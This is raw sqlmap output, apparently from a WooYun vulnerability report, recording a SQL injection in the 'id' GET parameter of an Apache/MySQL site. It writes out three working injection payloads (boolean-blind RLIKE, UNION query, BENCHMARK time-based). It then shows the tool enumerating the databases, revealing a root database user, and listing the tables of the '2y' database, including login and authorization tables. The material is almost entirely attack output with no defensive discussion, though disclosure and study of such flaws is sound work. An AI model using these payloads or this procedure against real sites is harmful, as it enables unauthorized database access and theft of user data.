WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) 
reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY 
claus
e (RLIKE)
    Payload: id=0' RLIKE IF(8797=8797,0,0x28) AND 'aiHe'='aiHe
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=0' UNION ALL SELECT NULL,CONCAT
(0x3a6d78763a,0x4c554d5a766e57424
f4c,0x3a6667633a)#
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: id=0' AND 6724=BENCHMARK(5000000,MD5(0x4e41744e)) AND 
'DAtd'='DAtd
---
[10:34:29] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
web application technology: Apache
back-end DBMS: MySQL 5
[10:38:35] [INFO] fetching database names
[10:38:35] [INFO] the SQL query used returns 4 entries
[10:38:35] [INFO] resumed: "information_schema"
[10:38:35] [INFO] resumed: "2y"
[10:38:35] [INFO] resumed: "mysql"
[10:38:35] [INFO] resumed: "phpmyadmin"
available databases [4]:
[*] 2y
[*] information_schema
[*] mysql
[*] phpmyadmin
current database:    '2y'
current user:    'root@localhost'
web application technology: Apache
back-end DBMS: MySQL 5
[10:35:01] [INFO] fetching tables for database: '2y'
[10:35:01] [INFO] the SQL query used returns 23 entries
Database: 2y
[23 tables]
+---------------------+
| album_info          |
| applicant_info      |
| article_info        |
| article_link_info   |
| authorization_info  |
| category_info       |
| department_info     |
| e_paper_info        |
| login_info          |
| main_menu_info      |
| photo_info          |
| pro_info            |
| publish_info        |
| qa_info             |
| recruit_info        |
| reserved_func       |
| scheduling_info     |
| slide_img_news_info |
| static_content_info |
| sub_menu_info       |
| sys_log             |
| video_link_info     |
| vis_express_info    |
+---------------------+